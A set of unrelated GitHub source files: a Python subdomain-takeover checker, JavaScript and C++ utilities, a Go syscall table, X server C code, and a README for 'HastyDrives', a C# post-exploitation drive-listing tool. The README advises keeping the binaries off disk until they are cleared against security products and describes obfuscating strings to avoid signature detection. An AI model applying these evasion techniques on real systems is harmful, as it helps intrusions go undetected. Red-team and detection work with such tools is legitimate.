while not self.subdomainq.empty(): # 保证域名队列遍历结束后能退出线程
subdomain = self.subdomainq.get() # 从队列中获取域名
self.worker(subdomain)
self.subdomainq.task_done()
def progress(self):
bar = tqdm()
bar.total = len(self.subdomains)
bar.desc = 'Check Progress'
bar.ncols = 80
while True:
done = bar.total - self.subdomainq.qsize()
bar.n = done
bar.update()
if done == bar.total: # 完成队列中所有子域的检查退出
break
def run(self):
start = time.time()
logger.log('INFOR', f'Start running {self.source} module')
if isinstance(self.targets, set):
self.subdomains = self.targets
else:
self.subdomains = utils.get_domains(self.target, self.targets)
self.format = utils.check_format(self.format, len(self.subdomains))
timestamp = utils.get_timestamp()
name = f'takeover_check_result_{timestamp}'
self.path = utils.check_path(self.path, name, self.format)
if self.subdomains:
logger.log('INFOR', f'Checking subdomain takeover')
self.fingerprints = get_fingerprint()
self.results.headers = ['subdomain', 'cname']
# 创建待检查的子域队列
for domain in self.subdomains:
self.subdomainq.put(domain)
# 进度线程
progress_thread = Thread(target=self.progress, name='ProgressThread',
daemon=True)
progress_thread.start()
# 检查线程
for i in range(self.thread):
check_thread = Thread(target=self.check, name=f'CheckThread{i}',
daemon=True)
check_thread.start()
self.subdomainq.join()
self.save()
else:
logger.log('FATAL', f'Failed to obtain domain')
end = time.time()
elapse = round(end - start, 1)
logger.log('ALERT', f'{self.source} module takes {elapse} seconds, '
f'There are {len(self.results)} subdomains exists takeover')
logger.log('INFOR', f'Subdomain takeover results: {self.path}')
logger.log('INFOR', f'Finished {self.source} module')
if __name__ == '__main__':
fire.Fire(Takeover)
| {
"pile_set_name": "Github"
} |
'use strict';
// detect either spaces or tabs but not both to properly handle tabs
// for indentation and spaces for alignment
const INDENT_RE = /^(?:( )+|\t+)/;
function getMostUsed(indents) {
let result = 0;
let maxUsed = 0;
let maxWeight = 0;
for (const entry of indents) {
// TODO: use destructuring when targeting Node.js 6
const key = entry[0];
const val = entry[1];
const u = val[0];
const w = val[1];
if (u > maxUsed || (u === maxUsed && w > maxWeight)) {
maxUsed = u;
maxWeight = w;
result = Number(key);
}
}
return result;
}
module.exports = str => {
if (typeof str !== 'string') {
throw new TypeError('Expected a string');
}
// used to see if tabs or spaces are the most used
let tabs = 0;
let spaces = 0;
// remember the size of previous line's indentation
let prev = 0;
// remember how many indents/unindents as occurred for a given size
// and how much lines follow a given indentation
//
// indents = {
// 3: [1, 0],
// 4: [1, 5],
// 5: [1, 0],
// 12: [1, 0],
// }
const indents = new Map();
// pointer to the array of last used indent
let current;
// whether the last action was an indent (opposed to an unindent)
let isIndent;
for (const line of str.split(/\n/g)) {
if (!line) {
// ignore empty lines
continue;
}
let indent;
const matches = line.match(INDENT_RE);
if (matches) {
indent = matches[0].length;
if (matches[1]) {
spaces++;
} else {
tabs++;
}
} else {
indent = 0;
}
const diff = indent - prev;
prev = indent;
if (diff) {
// an indent or unindent has been detected
isIndent = diff > 0;
current = indents.get(isIndent ? diff : -diff);
if (current) {
current[0]++;
} else {
current = [1, 0];
indents.set(diff, current);
}
} else if (current) {
// if the last action was an indent, increment the weight
current[1] += Number(isIndent);
}
}
const amount = getMostUsed(indents);
let type;
let indent;
if (!amount) {
type = null;
indent = '';
} else if (spaces >= tabs) {
type = 'space';
indent = ' '.repeat(amount);
} else {
type = 'tab';
indent = '\t'.repeat(amount);
}
return {
amount,
type,
indent
};
};
| {
"pile_set_name": "Github"
} |
#include <string>
#include "base_test.hpp"
#include "operators/join_hash/join_hash_traits.hpp"
namespace opossum {
class JoinHashTraitTest : public BaseTest {};
#define EXPECT_HASH_TYPE(left, right, hash) EXPECT_TRUE((std::is_same_v<hash, JoinHashTraits<left, right>::HashType>))
TEST_F(JoinHashTraitTest, IntegerTraits) {
// joining int and int
EXPECT_HASH_TYPE(int32_t, int32_t, int32_t);
// joining long and long
EXPECT_HASH_TYPE(int64_t, int64_t, int64_t);
// joining int and long
EXPECT_HASH_TYPE(int32_t, int64_t, int64_t);
EXPECT_HASH_TYPE(int64_t, int32_t, int64_t);
}
TEST_F(JoinHashTraitTest, FloatingTraits) {
// joining float and float
EXPECT_HASH_TYPE(float, float, float);
// joining double and double
EXPECT_HASH_TYPE(double, double, double);
// joining float and double
EXPECT_HASH_TYPE(float, double, double);
EXPECT_HASH_TYPE(double, float, double);
}
TEST_F(JoinHashTraitTest, StringTraits) {
// joining string and string
EXPECT_HASH_TYPE(pmr_string, pmr_string, pmr_string);
}
TEST_F(JoinHashTraitTest, MixedNumberTraits) {
// joining int and float
EXPECT_HASH_TYPE(int32_t, float, float);
EXPECT_HASH_TYPE(float, int32_t, float);
// joining int and double
EXPECT_HASH_TYPE(int32_t, double, double);
EXPECT_HASH_TYPE(double, int32_t, double);
// joining long and float
EXPECT_HASH_TYPE(int64_t, float, float);
EXPECT_HASH_TYPE(float, int64_t, float);
// joining long and double
EXPECT_HASH_TYPE(int64_t, double, double);
EXPECT_HASH_TYPE(double, int64_t, double);
}
TEST_F(JoinHashTraitTest, MixedStringTraits) {
// joining string and int
EXPECT_HASH_TYPE(pmr_string, int32_t, pmr_string);
EXPECT_HASH_TYPE(int32_t, pmr_string, pmr_string);
// joining string and long
EXPECT_HASH_TYPE(pmr_string, int64_t, pmr_string);
EXPECT_HASH_TYPE(int64_t, pmr_string, pmr_string);
// joining string and float
EXPECT_HASH_TYPE(pmr_string, float, pmr_string);
EXPECT_HASH_TYPE(float, pmr_string, pmr_string);
// joining string and double
EXPECT_HASH_TYPE(pmr_string, double, pmr_string);
EXPECT_HASH_TYPE(double, pmr_string, pmr_string);
}
} // namespace opossum
| {
"pile_set_name": "Github"
} |
# HastyDrives
A post-explotation command implemented in pure C# to list all drives and details that may be useful to a operator.
## Build
All binaries in HastySeries are built targeting .NET 3.5, for windows 7+ support. The following build env should be used:
* Windows 10 - 1803
* Visual Studio 2017
* .NET 3.5
* `choco install sysinternals` or strings from SysInternals in your current path
ALL HastySeries compiled binaries can be found on the github page with the most recent releases. NOTE: THESE have many static sigs.. dont drop to disk unless you are sure they are cleared via PSP testing.
## Operate
### Command Examples:
```cmd
C:\Users\rt\Desktop\HastySeries\bin\Release>HastyDrives.exe
```
### Expected Output:
```cmd
*-------------------------HastyDrives-------------------------*
|Drive C:\
| Drive type: Fixed
| Volume label:
| File system: NTFS
| Available space to current user: 21268123648 bytes
| Total available space: 21268123648 bytes
| Total size of drive: 63778582528 bytes
*--------------------------------------------------------------*
|Drive D:\
| Drive type: CDRom
*--------------------------------------------------------------*
```
## OpSec
### Strings
To prevent some basic string matching, some basic precautions where taken. of course this is a example and if OpSec is upmost concern change static key and use the `HastyFixup` string fixup project to build new strings before re-compile.
1) All strings are XOR'd with a static key
2) All strings are than encoded with Base64
3) Strings are decoded at execution
4) Strings are XOR'd with static key
5) String is presented to console
| {
"pile_set_name": "Github"
} |
<?php
intval($value);
$j = settype($var, 'float');
$o->floatval('$y');
$x($y);
?> | {
"pile_set_name": "Github"
} |
// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build arm,linux
package unix
const (
SYS_RESTART_SYSCALL = 0
SYS_EXIT = 1
SYS_FORK = 2
SYS_READ = 3
SYS_WRITE = 4
SYS_OPEN = 5
SYS_CLOSE = 6
SYS_CREAT = 8
SYS_LINK = 9
SYS_UNLINK = 10
SYS_EXECVE = 11
SYS_CHDIR = 12
SYS_MKNOD = 14
SYS_CHMOD = 15
SYS_LCHOWN = 16
SYS_LSEEK = 19
SYS_GETPID = 20
SYS_MOUNT = 21
SYS_SETUID = 23
SYS_GETUID = 24
SYS_PTRACE = 26
SYS_PAUSE = 29
SYS_ACCESS = 33
SYS_NICE = 34
SYS_SYNC = 36
SYS_KILL = 37
SYS_RENAME = 38
SYS_MKDIR = 39
SYS_RMDIR = 40
SYS_DUP = 41
SYS_PIPE = 42
SYS_TIMES = 43
SYS_BRK = 45
SYS_SETGID = 46
SYS_GETGID = 47
SYS_GETEUID = 49
SYS_GETEGID = 50
SYS_ACCT = 51
SYS_UMOUNT2 = 52
SYS_IOCTL = 54
SYS_FCNTL = 55
SYS_SETPGID = 57
SYS_UMASK = 60
SYS_CHROOT = 61
SYS_USTAT = 62
SYS_DUP2 = 63
SYS_GETPPID = 64
SYS_GETPGRP = 65
SYS_SETSID = 66
SYS_SIGACTION = 67
SYS_SETREUID = 70
SYS_SETREGID = 71
SYS_SIGSUSPEND = 72
SYS_SIGPENDING = 73
SYS_SETHOSTNAME = 74
SYS_SETRLIMIT = 75
SYS_GETRUSAGE = 77
SYS_GETTIMEOFDAY = 78
SYS_SETTIMEOFDAY = 79
SYS_GETGROUPS = 80
SYS_SETGROUPS = 81
SYS_SYMLINK = 83
SYS_READLINK = 85
SYS_USELIB = 86
SYS_SWAPON = 87
SYS_REBOOT = 88
SYS_MUNMAP = 91
SYS_TRUNCATE = 92
SYS_FTRUNCATE = 93
SYS_FCHMOD = 94
SYS_FCHOWN = 95
SYS_GETPRIORITY = 96
SYS_SETPRIORITY = 97
SYS_STATFS = 99
SYS_FSTATFS = 100
SYS_SYSLOG = 103
SYS_SETITIMER = 104
SYS_GETITIMER = 105
SYS_STAT = 106
SYS_LSTAT = 107
SYS_FSTAT = 108
SYS_VHANGUP = 111
SYS_WAIT4 = 114
SYS_SWAPOFF = 115
SYS_SYSINFO = 116
SYS_FSYNC = 118
SYS_SIGRETURN = 119
SYS_CLONE = 120
SYS_SETDOMAINNAME = 121
SYS_UNAME = 122
SYS_ADJTIMEX = 124
SYS_MPROTECT = 125
SYS_SIGPROCMASK = 126
SYS_INIT_MODULE = 128
SYS_DELETE_MODULE = 129
SYS_QUOTACTL = 131
SYS_GETPGID = 132
SYS_FCHDIR = 133
SYS_BDFLUSH = 134
SYS_SYSFS = 135
SYS_PERSONALITY = 136
SYS_SETFSUID = 138
SYS_SETFSGID = 139
SYS__LLSEEK = 140
SYS_GETDENTS = 141
SYS__NEWSELECT = 142
SYS_FLOCK = 143
SYS_MSYNC = 144
SYS_READV = 145
SYS_WRITEV = 146
SYS_GETSID = 147
SYS_FDATASYNC = 148
SYS__SYSCTL = 149
SYS_MLOCK = 150
SYS_MUNLOCK = 151
SYS_MLOCKALL = 152
SYS_MUNLOCKALL = 153
SYS_SCHED_SETPARAM = 154
SYS_SCHED_GETPARAM = 155
SYS_SCHED_SETSCHEDULER = 156
SYS_SCHED_GETSCHEDULER = 157
SYS_SCHED_YIELD = 158
SYS_SCHED_GET_PRIORITY_MAX = 159
SYS_SCHED_GET_PRIORITY_MIN = 160
SYS_SCHED_RR_GET_INTERVAL = 161
SYS_NANOSLEEP = 162
SYS_MREMAP = 163
SYS_SETRESUID = 164
SYS_GETRESUID = 165
SYS_POLL = 168
SYS_NFSSERVCTL = 169
SYS_SETRESGID = 170
SYS_GETRESGID = 171
SYS_PRCTL = 172
SYS_RT_SIGRETURN = 173
SYS_RT_SIGACTION = 174
SYS_RT_SIGPROCMASK = 175
SYS_RT_SIGPENDING = 176
SYS_RT_SIGTIMEDWAIT = 177
SYS_RT_SIGQUEUEINFO = 178
SYS_RT_SIGSUSPEND = 179
SYS_PREAD64 = 180
SYS_PWRITE64 = 181
SYS_CHOWN = 182
SYS_GETCWD = 183
SYS_CAPGET = 184
SYS_CAPSET = 185
SYS_SIGALTSTACK = 186
SYS_SENDFILE = 187
SYS_VFORK = 190
SYS_UGETRLIMIT = 191
SYS_MMAP2 = 192
SYS_TRUNCATE64 = 193
SYS_FTRUNCATE64 = 194
SYS_STAT64 = 195
SYS_LSTAT64 = 196
SYS_FSTAT64 = 197
SYS_LCHOWN32 = 198
SYS_GETUID32 = 199
SYS_GETGID32 = 200
SYS_GETEUID32 = 201
SYS_GETEGID32 = 202
SYS_SETREUID32 = 203
SYS_SETREGID32 = 204
SYS_GETGROUPS32 = 205
SYS_SETGROUPS32 = 206
SYS_FCHOWN32 = 207
SYS_SETRESUID32 = 208
SYS_GETRESUID32 = 209
SYS_SETRESGID32 = 210
SYS_GETRESGID32 = 211
SYS_CHOWN32 = 212
SYS_SETUID32 = 213
SYS_SETGID32 = 214
SYS_SETFSUID32 = 215
SYS_SETFSGID32 = 216
SYS_GETDENTS64 = 217
SYS_PIVOT_ROOT = 218
SYS_MINCORE = 219
SYS_MADVISE = 220
SYS_FCNTL64 = 221
SYS_GETTID = 224
SYS_READAHEAD = 225
SYS_SETXATTR = 226
SYS_LSETXATTR = 227
SYS_FSETXATTR = 228
SYS_GETXATTR = 229
SYS_LGETXATTR = 230
SYS_FGETXATTR = 231
SYS_LISTXATTR = 232
SYS_LLISTXATTR = 233
SYS_FLISTXATTR = 234
SYS_REMOVEXATTR = 235
SYS_LREMOVEXATTR = 236
SYS_FREMOVEXATTR = 237
SYS_TKILL = 238
SYS_SENDFILE64 = 239
SYS_FUTEX = 240
SYS_SCHED_SETAFFINITY = 241
SYS_SCHED_GETAFFINITY = 242
SYS_IO_SETUP = 243
SYS_IO_DESTROY = 244
SYS_IO_GETEVENTS = 245
SYS_IO_SUBMIT = 246
SYS_IO_CANCEL = 247
SYS_EXIT_GROUP = 248
SYS_LOOKUP_DCOOKIE = 249
SYS_EPOLL_CREATE = 250
SYS_EPOLL_CTL = 251
SYS_EPOLL_WAIT = 252
SYS_REMAP_FILE_PAGES = 253
SYS_SET_TID_ADDRESS = 256
SYS_TIMER_CREATE = 257
SYS_TIMER_SETTIME = 258
SYS_TIMER_GETTIME = 259
SYS_TIMER_GETOVERRUN = 260
SYS_TIMER_DELETE = 261
SYS_CLOCK_SETTIME = 262
SYS_CLOCK_GETTIME = 263
SYS_CLOCK_GETRES = 264
SYS_CLOCK_NANOSLEEP = 265
SYS_STATFS64 = 266
SYS_FSTATFS64 = 267
SYS_TGKILL = 268
SYS_UTIMES = 269
SYS_ARM_FADVISE64_64 = 270
SYS_PCICONFIG_IOBASE = 271
SYS_PCICONFIG_READ = 272
SYS_PCICONFIG_WRITE = 273
SYS_MQ_OPEN = 274
SYS_MQ_UNLINK = 275
SYS_MQ_TIMEDSEND = 276
SYS_MQ_TIMEDRECEIVE = 277
SYS_MQ_NOTIFY = 278
SYS_MQ_GETSETATTR = 279
SYS_WAITID = 280
SYS_SOCKET = 281
SYS_BIND = 282
SYS_CONNECT = 283
SYS_LISTEN = 284
SYS_ACCEPT = 285
SYS_GETSOCKNAME = 286
SYS_GETPEERNAME = 287
SYS_SOCKETPAIR = 288
SYS_SEND = 289
SYS_SENDTO = 290
SYS_RECV = 291
SYS_RECVFROM = 292
SYS_SHUTDOWN = 293
SYS_SETSOCKOPT = 294
SYS_GETSOCKOPT = 295
SYS_SENDMSG = 296
SYS_RECVMSG = 297
SYS_SEMOP = 298
SYS_SEMGET = 299
SYS_SEMCTL = 300
SYS_MSGSND = 301
SYS_MSGRCV = 302
SYS_MSGGET = 303
SYS_MSGCTL = 304
SYS_SHMAT = 305
SYS_SHMDT = 306
SYS_SHMGET = 307
SYS_SHMCTL = 308
SYS_ADD_KEY = 309
SYS_REQUEST_KEY = 310
SYS_KEYCTL = 311
SYS_SEMTIMEDOP = 312
SYS_VSERVER = 313
SYS_IOPRIO_SET = 314
SYS_IOPRIO_GET = 315
SYS_INOTIFY_INIT = 316
SYS_INOTIFY_ADD_WATCH = 317
SYS_INOTIFY_RM_WATCH = 318
SYS_MBIND = 319
SYS_GET_MEMPOLICY = 320
SYS_SET_MEMPOLICY = 321
SYS_OPENAT = 322
SYS_MKDIRAT = 323
SYS_MKNODAT = 324
SYS_FCHOWNAT = 325
SYS_FUTIMESAT = 326
SYS_FSTATAT64 = 327
SYS_UNLINKAT = 328
SYS_RENAMEAT = 329
SYS_LINKAT = 330
SYS_SYMLINKAT = 331
SYS_READLINKAT = 332
SYS_FCHMODAT = 333
SYS_FACCESSAT = 334
SYS_PSELECT6 = 335
SYS_PPOLL = 336
SYS_UNSHARE = 337
SYS_SET_ROBUST_LIST = 338
SYS_GET_ROBUST_LIST = 339
SYS_SPLICE = 340
SYS_ARM_SYNC_FILE_RANGE = 341
SYS_TEE = 342
SYS_VMSPLICE = 343
SYS_MOVE_PAGES = 344
SYS_GETCPU = 345
SYS_EPOLL_PWAIT = 346
SYS_KEXEC_LOAD = 347
SYS_UTIMENSAT = 348
SYS_SIGNALFD = 349
SYS_TIMERFD_CREATE = 350
SYS_EVENTFD = 351
SYS_FALLOCATE = 352
SYS_TIMERFD_SETTIME = 353
SYS_TIMERFD_GETTIME = 354
SYS_SIGNALFD4 = 355
SYS_EVENTFD2 = 356
SYS_EPOLL_CREATE1 = 357
SYS_DUP3 = 358
SYS_PIPE2 = 359
SYS_INOTIFY_INIT1 = 360
SYS_PREADV = 361
SYS_PWRITEV = 362
SYS_RT_TGSIGQUEUEINFO = 363
SYS_PERF_EVENT_OPEN = 364
SYS_RECVMMSG = 365
SYS_ACCEPT4 = 366
SYS_FANOTIFY_INIT = 367
SYS_FANOTIFY_MARK = 368
SYS_PRLIMIT64 = 369
SYS_NAME_TO_HANDLE_AT = 370
SYS_OPEN_BY_HANDLE_AT = 371
SYS_CLOCK_ADJTIME = 372
SYS_SYNCFS = 373
SYS_SENDMMSG = 374
SYS_SETNS = 375
SYS_PROCESS_VM_READV = 376
SYS_PROCESS_VM_WRITEV = 377
SYS_KCMP = 378
SYS_FINIT_MODULE = 379
SYS_SCHED_SETATTR = 380
SYS_SCHED_GETATTR = 381
SYS_RENAMEAT2 = 382
SYS_SECCOMP = 383
SYS_GETRANDOM = 384
SYS_MEMFD_CREATE = 385
SYS_BPF = 386
SYS_EXECVEAT = 387
SYS_USERFAULTFD = 388
SYS_MEMBARRIER = 389
SYS_MLOCK2 = 390
SYS_COPY_FILE_RANGE = 391
SYS_PREADV2 = 392
SYS_PWRITEV2 = 393
SYS_PKEY_MPROTECT = 394
SYS_PKEY_ALLOC = 395
SYS_PKEY_FREE = 396
SYS_STATX = 397
SYS_RSEQ = 398
SYS_IO_PGETEVENTS = 399
SYS_MIGRATE_PAGES = 400
SYS_KEXEC_FILE_LOAD = 401
SYS_CLOCK_GETTIME64 = 403
SYS_CLOCK_SETTIME64 = 404
SYS_CLOCK_ADJTIME64 = 405
SYS_CLOCK_GETRES_TIME64 = 406
SYS_CLOCK_NANOSLEEP_TIME64 = 407
SYS_TIMER_GETTIME64 = 408
SYS_TIMER_SETTIME64 = 409
SYS_TIMERFD_GETTIME64 = 410
SYS_TIMERFD_SETTIME64 = 411
SYS_UTIMENSAT_TIME64 = 412
SYS_PSELECT6_TIME64 = 413
SYS_PPOLL_TIME64 = 414
SYS_IO_PGETEVENTS_TIME64 = 416
SYS_RECVMMSG_TIME64 = 417
SYS_MQ_TIMEDSEND_TIME64 = 418
SYS_MQ_TIMEDRECEIVE_TIME64 = 419
SYS_SEMTIMEDOP_TIME64 = 420
SYS_RT_SIGTIMEDWAIT_TIME64 = 421
SYS_FUTEX_TIME64 = 422
SYS_SCHED_RR_GET_INTERVAL_TIME64 = 423
SYS_PIDFD_SEND_SIGNAL = 424
SYS_IO_URING_SETUP = 425
SYS_IO_URING_ENTER = 426
SYS_IO_URING_REGISTER = 427
SYS_OPEN_TREE = 428
SYS_MOVE_MOUNT = 429
SYS_FSOPEN = 430
SYS_FSCONFIG = 431
SYS_FSMOUNT = 432
SYS_FSPICK = 433
SYS_PIDFD_OPEN = 434
SYS_CLONE3 = 435
SYS_OPENAT2 = 437
SYS_PIDFD_GETFD = 438
SYS_FACCESSAT2 = 439
)
| {
"pile_set_name": "Github"
} |
/*
Copyright (C) 1999. The XFree86 Project Inc.
Written by Mark Vojkovich ([email protected])
Pre-fb-write callbacks and RENDER support - Nolan Leake ([email protected])
*/
#ifdef HAVE_XORG_CONFIG_H
#include <xorg-config.h>
#endif
#include <X11/X.h>
#include <X11/Xproto.h>
#include "misc.h"
#include "pixmapstr.h"
#include "input.h"
#include <X11/fonts/font.h>
#include "mi.h"
#include "scrnintstr.h"
#include "windowstr.h"
#include "gcstruct.h"
#include "dixfontstr.h"
#include <X11/fonts/fontstruct.h>
#include "xf86.h"
#include "xf86str.h"
#include "shadowfb.h"
# include "picturestr.h"
static Bool ShadowCloseScreen (int i, ScreenPtr pScreen);
static void ShadowCopyWindow(
WindowPtr pWin,
DDXPointRec ptOldOrg,
RegionPtr prgn
);
static Bool ShadowCreateGC(GCPtr pGC);
static Bool ShadowEnterVT(int index, int flags);
static void ShadowLeaveVT(int index, int flags);
static void ShadowComposite(
CARD8 op,
PicturePtr pSrc,
PicturePtr pMask,
PicturePtr pDst,
INT16 xSrc,
INT16 ySrc,
INT16 xMask,
INT16 yMask,
INT16 xDst,
INT16 yDst,
CARD16 width,
CARD16 height
);
typedef struct {
ScrnInfoPtr pScrn;
RefreshAreaFuncPtr preRefresh;
RefreshAreaFuncPtr postRefresh;
CloseScreenProcPtr CloseScreen;
CopyWindowProcPtr CopyWindow;
CreateGCProcPtr CreateGC;
ModifyPixmapHeaderProcPtr ModifyPixmapHeader;
CompositeProcPtr Composite;
Bool (*EnterVT)(int, int);
void (*LeaveVT)(int, int);
Bool vtSema;
} ShadowScreenRec, *ShadowScreenPtr;
typedef struct {
GCOps *ops;
GCFuncs *funcs;
} ShadowGCRec, *ShadowGCPtr;
static DevPrivateKeyRec ShadowScreenKeyRec;
#define ShadowScreenKey (&ShadowScreenKeyRec)
static DevPrivateKeyRec ShadowGCKeyRec;
#define ShadowGCKey (&ShadowGCKeyRec)
#define GET_SCREEN_PRIVATE(pScreen) \
(ShadowScreenPtr)dixLookupPrivate(&(pScreen)->devPrivates, ShadowScreenKey)
#define GET_GC_PRIVATE(pGC) \
(ShadowGCPtr)dixLookupPrivate(&(pGC)->devPrivates, ShadowGCKey)
#define SHADOW_GC_FUNC_PROLOGUE(pGC)\
ShadowGCPtr pGCPriv = GET_GC_PRIVATE(pGC);\
(pGC)->funcs = pGCPriv->funcs;\
if(pGCPriv->ops)\
(pGC)->ops = pGCPriv->ops
#define SHADOW_GC_FUNC_EPILOGUE(pGC)\
pGCPriv->funcs = (pGC)->funcs;\
(pGC)->funcs = &ShadowGCFuncs;\
if(pGCPriv->ops) {\
pGCPriv->ops = (pGC)->ops;\
(pGC)->ops = &ShadowGCOps;\
}
#define SHADOW_GC_OP_PROLOGUE(pGC)\
ShadowScreenPtr pPriv = GET_SCREEN_PRIVATE(pGC->pScreen); \
ShadowGCPtr pGCPriv = GET_GC_PRIVATE(pGC);\
GCFuncs *oldFuncs = pGC->funcs;\
pGC->funcs = pGCPriv->funcs;\
pGC->ops = pGCPriv->ops
#define SHADOW_GC_OP_EPILOGUE(pGC)\
pGCPriv->ops = pGC->ops;\
pGC->funcs = oldFuncs;\
pGC->ops = &ShadowGCOps
#define IS_VISIBLE(pWin) (pPriv->vtSema && \
(((WindowPtr)pWin)->visibility != VisibilityFullyObscured))
#define TRIM_BOX(box, pGC) { \
BoxPtr extents = &pGC->pCompositeClip->extents;\
if(box.x1 < extents->x1) box.x1 = extents->x1; \
if(box.x2 > extents->x2) box.x2 = extents->x2; \
if(box.y1 < extents->y1) box.y1 = extents->y1; \
if(box.y2 > extents->y2) box.y2 = extents->y2; \
}
#define TRANSLATE_BOX(box, pDraw) { \
box.x1 += pDraw->x; \
box.x2 += pDraw->x; \
box.y1 += pDraw->y; \
box.y2 += pDraw->y; \
}
#define TRIM_AND_TRANSLATE_BOX(box, pDraw, pGC) { \
TRANSLATE_BOX(box, pDraw); \
TRIM_BOX(box, pGC); \
}
#define BOX_NOT_EMPTY(box) \
(((box.x2 - box.x1) > 0) && ((box.y2 - box.y1) > 0))
Bool
ShadowFBInit2 (
ScreenPtr pScreen,
RefreshAreaFuncPtr preRefreshArea,
RefreshAreaFuncPtr postRefreshArea
){
ScrnInfoPtr pScrn = xf86Screens[pScreen->myNum];
ShadowScreenPtr pPriv;
PictureScreenPtr ps = GetPictureScreenIfSet(pScreen);
if(!preRefreshArea && !postRefreshArea) return FALSE;
if (!dixRegisterPrivateKey(&ShadowScreenKeyRec, PRIVATE_SCREEN, 0))
return FALSE;
if(!dixRegisterPrivateKey(&ShadowGCKeyRec, PRIVATE_GC, sizeof(ShadowGCRec)))
return FALSE;
if(!(pPriv = (ShadowScreenPtr)malloc(sizeof(ShadowScreenRec))))
return FALSE;
dixSetPrivate(&pScreen->devPrivates, ShadowScreenKey, pPriv);
pPriv->pScrn = pScrn;
pPriv->preRefresh = preRefreshArea;
pPriv->postRefresh = postRefreshArea;
pPriv->vtSema = TRUE;
pPriv->CloseScreen = pScreen->CloseScreen;
pPriv->CopyWindow = pScreen->CopyWindow;
pPriv->CreateGC = pScreen->CreateGC;
pPriv->ModifyPixmapHeader = pScreen->ModifyPixmapHeader;
pPriv->EnterVT = pScrn->EnterVT;
pPriv->LeaveVT = pScrn->LeaveVT;
pScreen->CloseScreen = ShadowCloseScreen;
pScreen->CopyWindow = ShadowCopyWindow;
pScreen->CreateGC = ShadowCreateGC;
pScrn->EnterVT = ShadowEnterVT;
pScrn->LeaveVT = ShadowLeaveVT;
if(ps) {
pPriv->Composite = ps->Composite;
ps->Composite = ShadowComposite;
}
return TRUE;
}
Bool
ShadowFBInit (
ScreenPtr pScreen,
RefreshAreaFuncPtr refreshArea
){
return ShadowFBInit2(pScreen, NULL, refreshArea);
}
/**********************************************************/
static Bool
ShadowEnterVT(int index, int flags)
{
ScrnInfoPtr pScrn = xf86Screens[index];
Bool ret;
ShadowScreenPtr pPriv = GET_SCREEN_PRIVATE(pScrn->pScreen);
pScrn->EnterVT = pPriv->EnterVT;
ret = (*pPriv->EnterVT)(index, flags);
pPriv->EnterVT = pScrn->EnterVT;
pScrn->EnterVT = ShadowEnterVT;
if(ret) {
pPriv->vtSema = TRUE;
return TRUE;
}
return FALSE;
}
static void
ShadowLeaveVT(int index, int flags)
{
ScrnInfoPtr pScrn = xf86Screens[index];
ShadowScreenPtr pPriv = GET_SCREEN_PRIVATE(xf86Screens[index]->pScreen);
pPriv->vtSema = FALSE;
pScrn->LeaveVT = pPriv->LeaveVT;
(*pPriv->LeaveVT)(index, flags);
pPriv->LeaveVT = pScrn->LeaveVT;
pScrn->LeaveVT = ShadowLeaveVT;
}
/**********************************************************/
static Bool
ShadowCloseScreen (int i, ScreenPtr pScreen)
{
ScrnInfoPtr pScrn = xf86Screens[pScreen->myNum];
ShadowScreenPtr pPriv = GET_SCREEN_PRIVATE(pScreen);
PictureScreenPtr ps = GetPictureScreenIfSet(pScreen);
pScreen->CloseScreen = pPriv->CloseScreen;
pScreen->CopyWindow = pPriv->CopyWindow;
pScreen->CreateGC = pPriv->CreateGC;
pScreen->ModifyPixmapHeader = pPriv->ModifyPixmapHeader;
pScrn->EnterVT = pPriv->EnterVT;
pScrn->LeaveVT = pPriv->LeaveVT;
if(ps) {
ps->Composite = pPriv->Composite;
}
free((pointer)pPriv);
return (*pScreen->CloseScreen) (i, pScreen);
}
static void
ShadowCopyWindow(
WindowPtr pWin,
DDXPointRec ptOldOrg,
RegionPtr prgn
){
ScreenPtr pScreen = pWin->drawable.pScreen;
ShadowScreenPtr pPriv = GET_SCREEN_PRIVATE(pScreen);
int num = 0;
RegionRec rgnDst;
if (pPriv->vtSema) {
RegionNull(&rgnDst);
RegionCopy(&rgnDst, prgn);
RegionTranslate(&rgnDst,
pWin->drawable.x - ptOldOrg.x,
pWin->drawable.y - ptOldOrg.y);
RegionIntersect(&rgnDst, &pWin->borderClip, &rgnDst);
if ((num = RegionNumRects(&rgnDst))) {
if(pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, num, RegionRects(&rgnDst));
} else {
RegionUninit(&rgnDst);
}
}
pScreen->CopyWindow = pPriv->CopyWindow;
(*pScreen->CopyWindow) (pWin, ptOldOrg, prgn);
pScreen->CopyWindow = ShadowCopyWindow;
if (num) {
if (pPriv->postRefresh)
(*pPriv->postRefresh)(pPriv->pScrn, num, RegionRects(&rgnDst));
RegionUninit(&rgnDst);
}
}
static void
ShadowComposite(
CARD8 op,
PicturePtr pSrc,
PicturePtr pMask,
PicturePtr pDst,
INT16 xSrc,
INT16 ySrc,
INT16 xMask,
INT16 yMask,
INT16 xDst,
INT16 yDst,
CARD16 width,
CARD16 height
){
ScreenPtr pScreen = pDst->pDrawable->pScreen;
ShadowScreenPtr pPriv = GET_SCREEN_PRIVATE(pScreen);
PictureScreenPtr ps = GetPictureScreen(pScreen);
BoxRec box;
BoxPtr extents;
Bool boxNotEmpty = FALSE;
if (pPriv->vtSema
&& pDst->pDrawable->type == DRAWABLE_WINDOW) {
box.x1 = pDst->pDrawable->x + xDst;
box.y1 = pDst->pDrawable->y + yDst;
box.x2 = box.x1 + width;
box.y2 = box.y1 + height;
extents = &pDst->pCompositeClip->extents;
if(box.x1 < extents->x1) box.x1 = extents->x1;
if(box.x2 > extents->x2) box.x2 = extents->x2;
if(box.y1 < extents->y1) box.y1 = extents->y1;
if(box.y2 > extents->y2) box.y2 = extents->y2;
if (BOX_NOT_EMPTY(box)) {
if (pPriv->preRefresh)
(*pPriv->preRefresh)(pPriv->pScrn, 1, &box);
boxNotEmpty = TRUE;
}
}
ps->Composite = pPriv->Composite;
(*ps->Composite)(op, pSrc, pMask, pDst, xSrc, ySrc,
xMask, yMask, xDst, yDst, width, height);
ps->Composite = ShadowComposite;
if (pPriv->postRefresh && boxNotEmpty) {
(*pPriv->postRefresh)(pPriv->pScrn, 1, &box);
}
}
/**********************************************************/
static void ShadowValidateGC(GCPtr, unsigned long, DrawablePtr);
static void ShadowChangeGC(GCPtr, unsigned long);
static void ShadowCopyGC(GCPtr, unsigned long, GCPtr);
static void ShadowDestroyGC(GCPtr);
static void ShadowChangeClip(GCPtr, int, pointer, int);
static void ShadowDestroyClip(GCPtr);
